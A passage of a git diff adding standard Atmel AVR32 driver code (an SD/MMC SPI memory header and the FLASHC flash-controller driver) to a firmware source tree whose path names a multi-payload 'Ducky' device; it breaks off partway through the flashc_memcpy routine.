(sector = 512B). OUT +//! +//! @return Ctrl_status +//! Media ready -> CTRL_GOOD +//! Media not present -> CTRL_NO_PRESENT +//!/ +extern Ctrl_status sd_mmc_spi_read_capacity(uint32_t *nb_sector); + +//! +//! @brief This function returns the write protected status of the memory. +//! +//! Only used by memory removal with a HARDWARE SPECIFIC write protected detection +//! ! The user must unplug the memory to change this write protected status, +//! which cannot be for a SD_MMC. +//! +//! @return false -> the memory is not write-protected (always) +//!/ +extern Bool sd_mmc_spi_wr_protect(void); + +//! +//! @brief This function tells if the memory has been removed or not. +//! +//! @return false -> The memory isn't removed +//! +extern Bool sd_mmc_spi_removal(void); + + +//---- ACCESS DATA FONCTIONS ---- + +#if ACCESS_USB == ENABLED +// Standard functions for open in read/write mode the device + +//! +//! @brief This function performs a read operation of n sectors from a given address on. +//! (sector = 512B) +//! +//! DATA FLOW is: SD_MMC => USB +//! +//! @param addr Sector address to start the read from +//! @param nb_sector Number of sectors to transfer +//! +//! @return Ctrl_status +//! It is ready -> CTRL_GOOD +//! A error occur -> CTRL_FAIL +//! +extern Ctrl_status sd_mmc_spi_usb_read_10(uint32_t addr, uint16_t nb_sector); + +//! This fonction initialises the SD/MMC memory for a write operation +//! +//! DATA FLOW is: USB => SD_MMC +//! +//! (sector = 512B) +//! @param addr Sector address to start write +//! @param nb_sector Number of sectors to transfer +//! +//! @return Ctrl_status +//! It is ready -> CTRL_GOOD +//! An error occurs -> CTRL_FAIL +//! +extern Ctrl_status sd_mmc_spi_usb_write_10(uint32_t addr, uint16_t nb_sector); + +#endif // #if ACCESS_USB == ENABLED + +#if ACCESS_MEM_TO_RAM == ENABLED +// Standard functions for read/write 1 sector to 1 sector ram buffer + + +//! This fonction reads 1 sector from SD/MMC to internal ram buffer +//! +//! DATA FLOW is: SD/MMC => RAM +//! +//! (sector = 512B) +//! @param addr Sector address to read +//! @param ram Ram buffer pointer +//! +//! @return Ctrl_status +//! It is ready -> CTRL_GOOD +//! An error occurs -> CTRL_FAIL +//! +extern Ctrl_status sd_mmc_spi_mem_2_ram(uint32_t addr, void *ram); + +//! This fonction initialises the memory for a write operation +//! from ram buffer to SD/MMC (1 sector) +//! +//! DATA FLOW is: RAM => SD/MMC +//! +//! (sector = 512B) +//! @param addr Sector address to write +//! @param ram Ram buffer pointer +//! +//! @return Ctrl_status +//! It is ready -> CTRL_GOOD +//! An error occurs -> CTRL_FAIL +//! +extern Ctrl_status sd_mmc_spi_ram_2_mem(uint32_t addr, const void *ram); + +#endif // end #if ACCESS_MEM_TO_RAM == ENABLED + + +#endif // _SD_MMC_SPI_MEM_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/flashc/flashc.c b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/flashc/flashc.c new file mode 100644 index 0000000..c62885b --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/flashc/flashc.c @@ -0,0 +1,1136 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief FLASHC driver for AVR32 UC3. + * + * AVR32 Flash Controller driver module. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices with a FLASHC module can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#include +#include +#include "compiler.h" +#include "flashc.h" + + +/*! \name FLASHC Writable Bit-Field Registers + */ +//! @{ + +typedef union +{ + unsigned long fcr; + avr32_flashc_fcr_t FCR; +} u_avr32_flashc_fcr_t; + +typedef union +{ + unsigned long fcmd; + avr32_flashc_fcmd_t FCMD; +} u_avr32_flashc_fcmd_t; + +//! @} + + +/*! \name Flash Properties + */ +//! @{ + + +unsigned int flashc_get_flash_size(void) +{ +#if (AVR32_FLASHC_H_VERSION >= 300) + static const unsigned int FLASH_SIZE[1 << AVR32_FLASHC_PR_FSZ_SIZE] = + { + 4 << 10, + 8 << 10, + 16 << 10, + 32 << 10, + 48 << 10, + 64 << 10, + 96 << 10, + 128 << 10, + 192 << 10, + 256 << 10, + 384 << 10, + 512 << 10, + 768 << 10, + 1024 << 10, + 2048 << 10 + }; + return FLASH_SIZE[(AVR32_FLASHC.pr & AVR32_FLASHC_PR_FSZ_MASK) >> AVR32_FLASHC_PR_FSZ_OFFSET]; +#else // in older flashc version, FSZ is located in FSR register + static const unsigned int FLASH_SIZE[1 << AVR32_FLASHC_FSR_FSZ_SIZE] = + { + 32 << 10, + 64 << 10, + 128 << 10, + 256 << 10, + 384 << 10, + 512 << 10, + 768 << 10, + 1024 << 10 + }; + return FLASH_SIZE[(AVR32_FLASHC.fsr & AVR32_FLASHC_FSR_FSZ_MASK) >> AVR32_FLASHC_FSR_FSZ_OFFSET]; +#endif +} + + +unsigned int flashc_get_page_count(void) +{ + return flashc_get_flash_size() / AVR32_FLASHC_PAGE_SIZE; +} + + +unsigned int flashc_get_page_count_per_region(void) +{ + return flashc_get_page_count() / AVR32_FLASHC_REGIONS; +} + + +unsigned int flashc_get_page_region(int page_number) +{ + return ((page_number >= 0) ? page_number : flashc_get_page_number()) / flashc_get_page_count_per_region(); +} + + +unsigned int flashc_get_region_first_page_number(unsigned int region) +{ + return region * flashc_get_page_count_per_region(); +} + + +//! @} + + +/*! \name FLASHC Control + */ +//! @{ + + +unsigned int flashc_get_wait_state(void) +{ + return (AVR32_FLASHC.fcr & AVR32_FLASHC_FCR_FWS_MASK) >> AVR32_FLASHC_FCR_FWS_OFFSET; +} + + +void flashc_set_wait_state(unsigned int wait_state) +{ + u_avr32_flashc_fcr_t u_avr32_flashc_fcr = {AVR32_FLASHC.fcr}; + u_avr32_flashc_fcr.FCR.fws = wait_state; + AVR32_FLASHC.fcr = u_avr32_flashc_fcr.fcr; +} + + +void flashc_set_bus_freq(unsigned int cpu_f_hz) +{ + if(cpu_f_hz >= AVR32_FLASHC_FWS_0_MAX_FREQ) + { + // Set 1 WS. + flashc_set_wait_state(1); + } + else + { + // Set 0 WS. + flashc_set_wait_state(0); + } +} + +Bool flashc_is_ready_int_enabled(void) +{ + return ((AVR32_FLASHC.fcr & AVR32_FLASHC_FCR_FRDY_MASK) != 0); +} + + +void flashc_enable_ready_int(Bool enable) +{ + u_avr32_flashc_fcr_t u_avr32_flashc_fcr = {AVR32_FLASHC.fcr}; + u_avr32_flashc_fcr.FCR.frdy = (enable != false); + AVR32_FLASHC.fcr = u_avr32_flashc_fcr.fcr; +} + + +Bool flashc_is_lock_error_int_enabled(void) +{ + return ((AVR32_FLASHC.fcr & AVR32_FLASHC_FCR_LOCKE_MASK) != 0); +} + + +void flashc_enable_lock_error_int(Bool enable) +{ + u_avr32_flashc_fcr_t u_avr32_flashc_fcr = {AVR32_FLASHC.fcr}; + u_avr32_flashc_fcr.FCR.locke = (enable != false); + AVR32_FLASHC.fcr = u_avr32_flashc_fcr.fcr; +} + + +Bool flashc_is_prog_error_int_enabled(void) +{ + return ((AVR32_FLASHC.fcr & AVR32_FLASHC_FCR_PROGE_MASK) != 0); +} + + +void flashc_enable_prog_error_int(Bool enable) +{ + u_avr32_flashc_fcr_t u_avr32_flashc_fcr = {AVR32_FLASHC.fcr}; + u_avr32_flashc_fcr.FCR.proge = (enable != false); + AVR32_FLASHC.fcr = u_avr32_flashc_fcr.fcr; +} + + +//! @} + + +/*! \name FLASHC Status + */ +//! @{ + + +Bool flashc_is_ready(void) +{ + return ((AVR32_FLASHC.fsr & AVR32_FLASHC_FSR_FRDY_MASK) != 0); +} + + +void flashc_default_wait_until_ready(void) +{ + while (!flashc_is_ready()); +} + + +void (*volatile flashc_wait_until_ready)(void) = flashc_default_wait_until_ready; + + +/*! \brief Gets the error status of the FLASHC. + * + * \return The error status of the FLASHC built up from + * \c AVR32_FLASHC_FSR_LOCKE_MASK and \c AVR32_FLASHC_FSR_PROGE_MASK. + * + * \warning This hardware error status is cleared by all functions reading the + * Flash Status Register (FSR). This function is therefore not part of + * the driver's API which instead presents \ref flashc_is_lock_error + * and \ref flashc_is_programming_error. + */ +static unsigned int flashc_get_error_status(void) +{ + return AVR32_FLASHC.fsr & (AVR32_FLASHC_FSR_LOCKE_MASK | + AVR32_FLASHC_FSR_PROGE_MASK); +} + + +//! Sticky error status of the FLASHC. +//! This variable is updated by functions that issue FLASHC commands. It +//! contains the cumulated FLASHC error status of all the FLASHC commands issued +//! by a function. +static unsigned int flashc_error_status = 0; + + +Bool flashc_is_lock_error(void) +{ + return ((flashc_error_status & AVR32_FLASHC_FSR_LOCKE_MASK) != 0); +} + + +Bool flashc_is_programming_error(void) +{ + return ((flashc_error_status & AVR32_FLASHC_FSR_PROGE_MASK) != 0); +} + + +//! @} + + +/*! \name FLASHC Command Control + */ +//! @{ + + +unsigned int flashc_get_command(void) +{ + return (AVR32_FLASHC.fcmd & AVR32_FLASHC_FCMD_CMD_MASK) >> AVR32_FLASHC_FCMD_CMD_OFFSET; +} + + +unsigned int flashc_get_page_number(void) +{ + return (AVR32_FLASHC.fcmd & AVR32_FLASHC_FCMD_PAGEN_MASK) >> AVR32_FLASHC_FCMD_PAGEN_OFFSET; +} + + +void flashc_issue_command(unsigned int command, int page_number) +{ + u_avr32_flashc_fcmd_t u_avr32_flashc_fcmd; + flashc_wait_until_ready(); + u_avr32_flashc_fcmd.fcmd = AVR32_FLASHC.fcmd; + u_avr32_flashc_fcmd.FCMD.cmd = command; + if (page_number >= 0) u_avr32_flashc_fcmd.FCMD.pagen = page_number; + u_avr32_flashc_fcmd.FCMD.key = AVR32_FLASHC_FCMD_KEY_KEY; + AVR32_FLASHC.fcmd = u_avr32_flashc_fcmd.fcmd; + flashc_error_status = flashc_get_error_status(); + flashc_wait_until_ready(); +} + + +//! @} + + +/*! \name FLASHC Global Commands + */ +//! @{ + + +void flashc_no_operation(void) +{ + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_NOP, -1); +} + + +void flashc_erase_all(void) +{ + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_EA, -1); +} + + +//! @} + + +/*! \name FLASHC Protection Mechanisms + */ +//! @{ + + +Bool flashc_is_security_bit_active(void) +{ + return ((AVR32_FLASHC.fsr & AVR32_FLASHC_FSR_SECURITY_MASK) != 0); +} + + +void flashc_activate_security_bit(void) +{ + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_SSB, -1); +} + + +unsigned int flashc_get_bootloader_protected_size(void) +{ + unsigned int bootprot = (1 << AVR32_FLASHC_FGPFRLO_BOOTPROT_SIZE) - 1 - + flashc_read_gp_fuse_bitfield(AVR32_FLASHC_FGPFRLO_BOOTPROT_OFFSET, + AVR32_FLASHC_FGPFRLO_BOOTPROT_SIZE); + return (bootprot) ? AVR32_FLASHC_PAGE_SIZE << bootprot : 0; +} + + +unsigned int flashc_set_bootloader_protected_size(unsigned int bootprot_size) +{ + flashc_set_gp_fuse_bitfield(AVR32_FLASHC_FGPFRLO_BOOTPROT_OFFSET, + AVR32_FLASHC_FGPFRLO_BOOTPROT_SIZE, + (1 << AVR32_FLASHC_FGPFRLO_BOOTPROT_SIZE) - 1 - + ((bootprot_size) ? + 32 - clz((((min(max(bootprot_size, AVR32_FLASHC_PAGE_SIZE << 1), + AVR32_FLASHC_PAGE_SIZE << + ((1 << AVR32_FLASHC_FGPFRLO_BOOTPROT_SIZE) - 1)) + + AVR32_FLASHC_PAGE_SIZE - 1) / + AVR32_FLASHC_PAGE_SIZE) << 1) - 1) - 1 : + 0)); + return flashc_get_bootloader_protected_size(); +} + + +Bool flashc_is_external_privileged_fetch_locked(void) +{ + return (!flashc_read_gp_fuse_bit(AVR32_FLASHC_FGPFRLO_EPFL_OFFSET)); +} + + +void flashc_lock_external_privileged_fetch(Bool lock) +{ + flashc_set_gp_fuse_bit(AVR32_FLASHC_FGPFRLO_EPFL_OFFSET, !lock); +} + + +Bool flashc_is_page_region_locked(int page_number) +{ + return flashc_is_region_locked(flashc_get_page_region(page_number)); +} + + +Bool flashc_is_region_locked(unsigned int region) +{ + return ((AVR32_FLASHC.fsr & AVR32_FLASHC_FSR_LOCK0_MASK << (region & (AVR32_FLASHC_REGIONS - 1))) != 0); +} + + +void flashc_lock_page_region(int page_number, Bool lock) +{ + flashc_issue_command((lock) ? AVR32_FLASHC_FCMD_CMD_LP : AVR32_FLASHC_FCMD_CMD_UP, page_number); +} + + +void flashc_lock_region(unsigned int region, Bool lock) +{ + flashc_lock_page_region(flashc_get_region_first_page_number(region), lock); +} + + +void flashc_lock_all_regions(Bool lock) +{ + unsigned int error_status = 0; + unsigned int region = AVR32_FLASHC_REGIONS; + while (region) + { + flashc_lock_region(--region, lock); + error_status |= flashc_error_status; + } + flashc_error_status = error_status; +} + + +//! @} + + +/*! \name Access to General-Purpose Fuses + */ +//! @{ + + +Bool flashc_read_gp_fuse_bit(unsigned int gp_fuse_bit) +{ + return ((flashc_read_all_gp_fuses() & 1ULL << (gp_fuse_bit & 0x3F)) != 0); +} + + +U64 flashc_read_gp_fuse_bitfield(unsigned int pos, unsigned int width) +{ + return flashc_read_all_gp_fuses() >> (pos & 0x3F) & ((1ULL << min(width, 64)) - 1); +} + + +U8 flashc_read_gp_fuse_byte(unsigned int gp_fuse_byte) +{ + return flashc_read_all_gp_fuses() >> ((gp_fuse_byte & 0x07) << 3); +} + + +U64 flashc_read_all_gp_fuses(void) +{ + return AVR32_FLASHC.fgpfrlo | (U64)AVR32_FLASHC.fgpfrhi << 32; +} + + +Bool flashc_erase_gp_fuse_bit(unsigned int gp_fuse_bit, Bool check) +{ + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_EGPB, gp_fuse_bit & 0x3F); + return (check) ? flashc_read_gp_fuse_bit(gp_fuse_bit) : true; +} + + +Bool flashc_erase_gp_fuse_bitfield(unsigned int pos, unsigned int width, Bool check) +{ + unsigned int error_status = 0; + unsigned int gp_fuse_bit; + pos &= 0x3F; + width = min(width, 64); + for (gp_fuse_bit = pos; gp_fuse_bit < pos + width; gp_fuse_bit++) + { + flashc_erase_gp_fuse_bit(gp_fuse_bit, false); + error_status |= flashc_error_status; + } + flashc_error_status = error_status; + return (check) ? (flashc_read_gp_fuse_bitfield(pos, width) == (1ULL << width) - 1) : true; +} + + +Bool flashc_erase_gp_fuse_byte(unsigned int gp_fuse_byte, Bool check) +{ + unsigned int error_status; + unsigned int current_gp_fuse_byte; + U64 value = flashc_read_all_gp_fuses(); + flashc_erase_all_gp_fuses(false); + error_status = flashc_error_status; + for (current_gp_fuse_byte = 0; current_gp_fuse_byte < 8; current_gp_fuse_byte++, value >>= 8) + { + if (current_gp_fuse_byte != gp_fuse_byte) + { + flashc_write_gp_fuse_byte(current_gp_fuse_byte, value); + error_status |= flashc_error_status; + } + } + flashc_error_status = error_status; + return (check) ? (flashc_read_gp_fuse_byte(gp_fuse_byte) == 0xFF) : true; +} + + +Bool flashc_erase_all_gp_fuses(Bool check) +{ + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_EAGPF, -1); + return (check) ? (flashc_read_all_gp_fuses() == 0xFFFFFFFFFFFFFFFFULL) : true; +} + + +void flashc_write_gp_fuse_bit(unsigned int gp_fuse_bit, Bool value) +{ + if (!value) + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_WGPB, gp_fuse_bit & 0x3F); +} + + +void flashc_write_gp_fuse_bitfield(unsigned int pos, unsigned int width, U64 value) +{ + unsigned int error_status = 0; + unsigned int gp_fuse_bit; + pos &= 0x3F; + width = min(width, 64); + for (gp_fuse_bit = pos; gp_fuse_bit < pos + width; gp_fuse_bit++, value >>= 1) + { + flashc_write_gp_fuse_bit(gp_fuse_bit, value & 0x01); + error_status |= flashc_error_status; + } + flashc_error_status = error_status; +} + + +void flashc_write_gp_fuse_byte(unsigned int gp_fuse_byte, U8 value) +{ + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_PGPFB, (gp_fuse_byte & 0x07) | value << 3); +} + + +void flashc_write_all_gp_fuses(U64 value) +{ + unsigned int error_status = 0; + unsigned int gp_fuse_byte; + for (gp_fuse_byte = 0; gp_fuse_byte < 8; gp_fuse_byte++, value >>= 8) + { + flashc_write_gp_fuse_byte(gp_fuse_byte, value); + error_status |= flashc_error_status; + } + flashc_error_status = error_status; +} + + +void flashc_set_gp_fuse_bit(unsigned int gp_fuse_bit, Bool value) +{ + if (value) + flashc_erase_gp_fuse_bit(gp_fuse_bit, false); + else + flashc_write_gp_fuse_bit(gp_fuse_bit, false); +} + + +void flashc_set_gp_fuse_bitfield(unsigned int pos, unsigned int width, U64 value) +{ + unsigned int error_status = 0; + unsigned int gp_fuse_bit; + pos &= 0x3F; + width = min(width, 64); + for (gp_fuse_bit = pos; gp_fuse_bit < pos + width; gp_fuse_bit++, value >>= 1) + { + flashc_set_gp_fuse_bit(gp_fuse_bit, value & 0x01); + error_status |= flashc_error_status; + } + flashc_error_status = error_status; +} + + +void flashc_set_gp_fuse_byte(unsigned int gp_fuse_byte, U8 value) +{ + unsigned int error_status; + switch (value) + { + case 0xFF: + flashc_erase_gp_fuse_byte(gp_fuse_byte, false); + break; + case 0x00: + flashc_write_gp_fuse_byte(gp_fuse_byte, 0x00); + break; + default: + flashc_erase_gp_fuse_byte(gp_fuse_byte, false); + error_status = flashc_error_status; + flashc_write_gp_fuse_byte(gp_fuse_byte, value); + flashc_error_status |= error_status; + } +} + + +void flashc_set_all_gp_fuses(U64 value) +{ + unsigned int error_status; + switch (value) + { + case 0xFFFFFFFFFFFFFFFFULL: + flashc_erase_all_gp_fuses(false); + break; + case 0x0000000000000000ULL: + flashc_write_all_gp_fuses(0x0000000000000000ULL); + break; + default: + flashc_erase_all_gp_fuses(false); + error_status = flashc_error_status; + flashc_write_all_gp_fuses(value); + flashc_error_status |= error_status; + } +} + + +//! @} + + +/*! \name Access to Flash Pages + */ +//! @{ + + +void flashc_clear_page_buffer(void) +{ + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_CPB, -1); +} + + +Bool flashc_is_page_erased(void) +{ + return ((AVR32_FLASHC.fsr & AVR32_FLASHC_FSR_QPRR_MASK) != 0); +} + + +Bool flashc_quick_page_read(int page_number) +{ + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_QPR, page_number); + return flashc_is_page_erased(); +} + + +Bool flashc_erase_page(int page_number, Bool check) +{ + Bool page_erased = true; + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_EP, page_number); + if (check) + { + unsigned int error_status = flashc_error_status; + page_erased = flashc_quick_page_read(-1); + flashc_error_status |= error_status; + } + return page_erased; +} + + +Bool flashc_erase_all_pages(Bool check) +{ + Bool all_pages_erased = true; + unsigned int error_status = 0; + unsigned int page_number = flashc_get_page_count(); + while (page_number) + { + all_pages_erased &= flashc_erase_page(--page_number, check); + error_status |= flashc_error_status; + } + flashc_error_status = error_status; + return all_pages_erased; +} + + +void flashc_write_page(int page_number) +{ + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_WP, page_number); +} + + +Bool flashc_quick_user_page_read(void) +{ + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_QPRUP, -1); + return flashc_is_page_erased(); +} + + +Bool flashc_erase_user_page(Bool check) +{ + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_EUP, -1); + return (check) ? flashc_quick_user_page_read() : true; +} + + +void flashc_write_user_page(void) +{ + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_WUP, -1); +} + + +volatile void *flashc_memset8(volatile void *dst, U8 src, size_t nbytes, Bool erase) +{ + return flashc_memset16(dst, src | (U16)src << 8, nbytes, erase); +} + + +volatile void *flashc_memset16(volatile void *dst, U16 src, size_t nbytes, Bool erase) +{ + return flashc_memset32(dst, src | (U32)src << 16, nbytes, erase); +} + + +volatile void *flashc_memset32(volatile void *dst, U32 src, size_t nbytes, Bool erase) +{ + return flashc_memset64(dst, src | (U64)src << 32, nbytes, erase); +} + + +volatile void *flashc_memset64(volatile void *dst, U64 src, size_t nbytes, Bool erase) +{ + // Use aggregated pointers to have several alignments available for a same address. + UnionCVPtr flash_array_end; + UnionVPtr dest; + Union64 source = {0}; + StructCVPtr dest_end; + UnionCVPtr flash_page_source_end; + Bool incomplete_flash_page_end; + Union64 flash_dword; + UnionVPtr tmp; + unsigned int error_status = 0; + unsigned int i; + + // Reformat arguments. + flash_array_end.u8ptr = AVR32_FLASH + flashc_get_flash_size(); + dest.u8ptr = dst; + for (i = (Get_align((U32)dest.u8ptr, sizeof(U64)) - 1) & (sizeof(U64) - 1); + src; i = (i - 1) & (sizeof(U64) - 1)) + { + source.u8[i] = src; + src >>= 8; + } + dest_end.u8ptr = dest.u8ptr + nbytes; + + // If destination is outside flash, go to next flash page if any. + if (dest.u8ptr < AVR32_FLASH) + { + dest.u8ptr = AVR32_FLASH; + } + else if (flash_array_end.u8ptr <= dest.u8ptr && dest.u8ptr < AVR32_FLASHC_USER_PAGE) + { + dest.u8ptr = AVR32_FLASHC_USER_PAGE; + } + + // If end of destination is outside flash, move it to the end of the previous flash page if any. + if (dest_end.u8ptr > AVR32_FLASHC_USER_PAGE + AVR32_FLASHC_USER_PAGE_SIZE) + { + dest_end.u8ptr = AVR32_FLASHC_USER_PAGE + AVR32_FLASHC_USER_PAGE_SIZE; + } + else if (AVR32_FLASHC_USER_PAGE >= dest_end.u8ptr && dest_end.u8ptr > flash_array_end.u8ptr) + { + dest_end.u8ptr = flash_array_end.u8ptr; + } + + // Align each end of destination pointer with its natural boundary. + dest_end.u16ptr = (U16 *)Align_down((U32)dest_end.u8ptr, sizeof(U16)); + dest_end.u32ptr = (U32 *)Align_down((U32)dest_end.u16ptr, sizeof(U32)); + dest_end.u64ptr = (U64 *)Align_down((U32)dest_end.u32ptr, sizeof(U64)); + + // While end of destination is not reached... + while (dest.u8ptr < dest_end.u8ptr) + { + // Clear the page buffer in order to prepare data for a flash page write. + flashc_clear_page_buffer(); + error_status |= flashc_error_status; + + // Determine where the source data will end in the current flash page. + flash_page_source_end.u64ptr = + (U64 *)min((U32)dest_end.u64ptr, + Align_down((U32)dest.u8ptr, AVR32_FLASHC_PAGE_SIZE) + AVR32_FLASHC_PAGE_SIZE); + + // Determine if the current destination page has an incomplete end. + incomplete_flash_page_end = (Align_down((U32)dest.u8ptr, AVR32_FLASHC_PAGE_SIZE) >= + Align_down((U32)dest_end.u8ptr, AVR32_FLASHC_PAGE_SIZE)); + + // Use a flash double-word buffer to manage unaligned accesses. + flash_dword.u64 = source.u64; + + // If destination does not point to the beginning of the current flash page... + if (!Test_align((U32)dest.u8ptr, AVR32_FLASHC_PAGE_SIZE)) + { + // Fill the beginning of the page buffer with the current flash page data. + // This is required by the hardware, even if page erase is not requested, + // in order to be able to write successfully to erased parts of flash + // pages that have already been written to. + for (tmp.u8ptr = (U8 *)Align_down((U32)dest.u8ptr, AVR32_FLASHC_PAGE_SIZE); + tmp.u64ptr < (U64 *)Align_down((U32)dest.u8ptr, sizeof(U64)); + tmp.u64ptr++) + *tmp.u64ptr = *tmp.u64ptr; + + // If destination is not 64-bit aligned... + if (!Test_align((U32)dest.u8ptr, sizeof(U64))) + { + // Fill the beginning of the flash double-word buffer with the current + // flash page data. + // This is required by the hardware, even if page erase is not + // requested, in order to be able to write successfully to erased parts + // of flash pages that have already been written to. + for (i = 0; i < Get_align((U32)dest.u8ptr, sizeof(U64)); i++) + flash_dword.u8[i] = *tmp.u8ptr++; + + // Align the destination pointer with its 64-bit boundary. + dest.u64ptr = (U64 *)Align_down((U32)dest.u8ptr, sizeof(U64)); + + // If the current destination double-word is not the last one... + if (dest.u64ptr < dest_end.u64ptr) + { + // Write the flash double-word buffer to the page buffer and reinitialize it. + *dest.u64ptr++ = flash_dword.u64; + flash_dword.u64 = source.u64; + } + } + } + + // Write the source data to the page buffer with 64-bit alignment. + for (i = flash_page_source_end.u64ptr - dest.u64ptr; i; i--) + *dest.u64ptr++ = source.u64; + + // If the current destination page has an incomplete end... + if (incomplete_flash_page_end) + { + // This is required by the hardware, even if page erase is not requested, + // in order to be able to write successfully to erased parts of flash + // pages that have already been written to. + { + tmp.u8ptr = (volatile U8 *)dest_end.u8ptr; + + // If end of destination is not 64-bit aligned... + if (!Test_align((U32)dest_end.u8ptr, sizeof(U64))) + { + // Fill the end of the flash double-word buffer with the current flash page data. + for (i = Get_align((U32)dest_end.u8ptr, sizeof(U64)); i < sizeof(U64); i++) + flash_dword.u8[i] = *tmp.u8ptr++; + + // Write the flash double-word buffer to the page buffer. + *dest.u64ptr++ = flash_dword.u64; + } + + // Fill the end of the page buffer with the current flash page data. + for (; !Test_align((U32)tmp.u64ptr, AVR32_FLASHC_PAGE_SIZE); tmp.u64ptr++) + *tmp.u64ptr = *tmp.u64ptr; + } + } + + // If the current flash page is in the flash array... + if (dest.u8ptr <= AVR32_FLASHC_USER_PAGE) + { + // Erase the current page if requested and write it from the page buffer. + if (erase) + { + flashc_erase_page(-1, false); + error_status |= flashc_error_status; + } + flashc_write_page(-1); + error_status |= flashc_error_status; + + // If the end of the flash array is reached, go to the User page. + if (dest.u8ptr >= flash_array_end.u8ptr) + dest.u8ptr = AVR32_FLASHC_USER_PAGE; + } + // If the current flash page is the User page... + else + { + // Erase the User page if requested and write it from the page buffer. + if (erase) + { + flashc_erase_user_page(false); + error_status |= flashc_error_status; + } + flashc_write_user_page(); + error_status |= flashc_error_status; + } + } + + // Update the FLASHC error status. + flashc_error_status = error_status; + + // Return the initial destination pointer as the standard memset function does. + return dst; +} + + +volatile void *flashc_memcpy(volatile void *dst, const void *src, size_t nbytes, Bool erase) +{ + // Use aggregated pointers to have several alignments available for a same address. + UnionCVPtr flash_array_end; + UnionVPtr dest; + UnionCPtr source; + StructCVPtr dest_end; + UnionCVPtr flash_page_source_end; + Bool incomplete_flash_page_end; + Union64 flash_dword; + Bool flash_dword_pending = false; + UnionVPtr tmp; + unsigned int error_status = 0; + unsigned int i, j; + + // Reformat arguments. + flash_array_end.u8ptr = AVR32_FLASH + flashc_get_flash_size(); + dest.u8ptr = dst; + source.u8ptr = src; + dest_end.u8ptr = dest.u8ptr + nbytes; + + // If destination is outside flash, go to next flash page if any. + if (dest.u8ptr < AVR32_FLASH) + { + source.u8ptr += AVR32_FLASH - dest.u8ptr; + dest.u8ptr = AVR32_FLASH; + } + else if (flash_array_end.u8ptr <= dest.u8ptr && dest.u8ptr < AVR32_FLASHC_USER_PAGE) + { + source.u8ptr += AVR32_FLASHC_USER_PAGE - dest.u8ptr; + dest.u8ptr = AVR32_FLASHC_USER_PAGE; + } + + // If end of destination is outside flash, move it to the end of the previous flash page if any. + if (dest_end.u8ptr > AVR32_FLASHC_USER_PAGE + AVR32_FLASHC_USER_PAGE_SIZE) + { + dest_end.u8ptr = AVR32_FLASHC_USER_PAGE + AVR32_FLASHC_USER_PAGE_SIZE; + } + else if (AVR32_FLASHC_USER_PAGE >= dest_end.u8ptr && dest_end.u8ptr > flash_array_end.u8ptr) + { + dest_end.u8ptr = flash_array_end.u8ptr; + } + + // Align each end of destination pointer with its natural boundary. + dest_end.u16ptr = (U16 *)Align_down((U32)dest_end.u8ptr, sizeof(U16)); + dest_end.u32ptr = (U32 *)Align_down((U32)dest_end.u16ptr, sizeof(U32)); + dest_end.u64ptr = (U64 *)Align_down((U32)dest_end.u32ptr, sizeof(U64)); + + // While end of destination is not reached... + while (dest.u8ptr < dest_end.u8ptr) + { + // Clear the page buffer in order to prepare data for a flash page write. + flashc_clear_page_buffer(); + error_status |= flashc_error_status; + + // Determine where the source data will end in the current flash page. + flash_page_source_end.u64ptr = + (U64 *)min((U32)dest_end.u64ptr, + Align_down((U32)dest.u8ptr, AVR32_FLASHC_PAGE_SIZE) + AVR32_FLASHC_PAGE_SIZE); + + // Determine if the current destination page has an incomplete end. + incomplete_flash_page_end = (Align_down((U32)dest.u8ptr, AVR32_FLASHC_PAGE_SIZE) >= + Align_down((U32)dest_end.u8ptr, AVR32_FLASHC_PAGE_SIZE)); + + // If destination does not point to the beginning of the current flash page... + if (!Test_align((U32)dest.u8ptr, 